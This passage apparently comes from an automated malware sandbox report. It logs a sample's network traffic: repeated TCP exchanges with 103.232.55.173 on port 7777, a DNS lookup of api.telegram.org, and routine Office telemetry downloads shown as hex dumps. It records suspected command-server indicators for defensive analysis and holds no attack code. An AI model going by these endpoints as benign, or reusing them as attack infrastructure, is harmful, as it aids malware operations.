Dec 6, 2024 15:54:34.719122887 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:34.819739103 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:34.821396112 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:34.941255093 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:35.155503035 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:35.219166994 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:38.257574081 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:38.378405094 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:38.378473997 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:38.499382019 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:39.150909901 CET	7777	49855	103.232.55.173	192.168.2.7
Dec 6, 2024 15:54:39.151825905 CET	49855	7777	192.168.2.7	103.232.55.173
Dec 6, 2024 15:54:39.271637917 CET	7777	49855	103.232.55.173	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 15:52:43.233359098 CET	63721	53	192.168.2.7	1.1.1.1
Dec 6, 2024 15:53:18.603954077 CET	55420	53	192.168.2.7	1.1.1.1
Dec 6, 2024 15:53:18.744602919 CET	53	55420	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 15:52:43.233359098 CET	192.168.2.7	1.1.1.1	0xda79	Standard query (0)	settings-ssl.xboxlive.com	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:53:18.603954077 CET	192.168.2.7	1.1.1.1	0x3a9c	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 15:52:43.575961113 CET	1.1.1.1	192.168.2.7	0xda79	No error (0)	settings-ssl.xboxlive.com	settings-ssl.xboxlive.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 15:52:44.337223053 CET	1.1.1.1	192.168.2.7	0x3947	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:52:44.337223053 CET	1.1.1.1	192.168.2.7	0x3947	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:52:47.144450903 CET	1.1.1.1	192.168.2.7	0xef54	No error (0)	ep-afd-activation-cubaf8a6apchfsg5.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 15:52:47.144450903 CET	1.1.1.1	192.168.2.7	0xef54	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 15:52:47.144450903 CET	1.1.1.1	192.168.2.7	0xef54	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:52:59.565829992 CET	1.1.1.1	192.168.2.7	0xc658	No error (0)	ep-afd-activation-cubaf8a6apchfsg5.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 15:52:59.565829992 CET	1.1.1.1	192.168.2.7	0xc658	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 15:52:59.565829992 CET	1.1.1.1	192.168.2.7	0xc658	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:53:18.744602919 CET	1.1.1.1	192.168.2.7	0x3a9c	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:53:46.289603949 CET	1.1.1.1	192.168.2.7	0x4abd	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 6, 2024 15:53:46.289603949 CET	1.1.1.1	192.168.2.7	0x4abd	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

activation2.playready.microsoft.com

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:28 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:29 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:29 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: c4b28cbf-a01e-0053-235f-478603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145229Z-1746fd949bdnq7x2hC1EWRpxr0000000043000000000mscd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:29 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-06 14:52:29 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:31 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:32 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 40031d31-601e-005c-53c5-45f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145232Z-1746fd949bdqpttnhC1EWRe1wg000000040g00000000m00s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:32 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:31 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:31 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c4831996-901e-0016-39ce-45efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145231Z-1746fd949bdxk6n6hC1EWRdr8c000000043000000000mvxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:32 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:31 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:32 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 667c147a-501e-0016-34cc-45181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145232Z-1746fd949bd54zxghC1EWRzre400000004g000000000qpp7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:32 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:31 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:32 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:32 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 115d5b31-c01e-0046-4bcb-452db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145232Z-1746fd949bd77mkmhC1EWR5efc00000004ng00000000bwrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
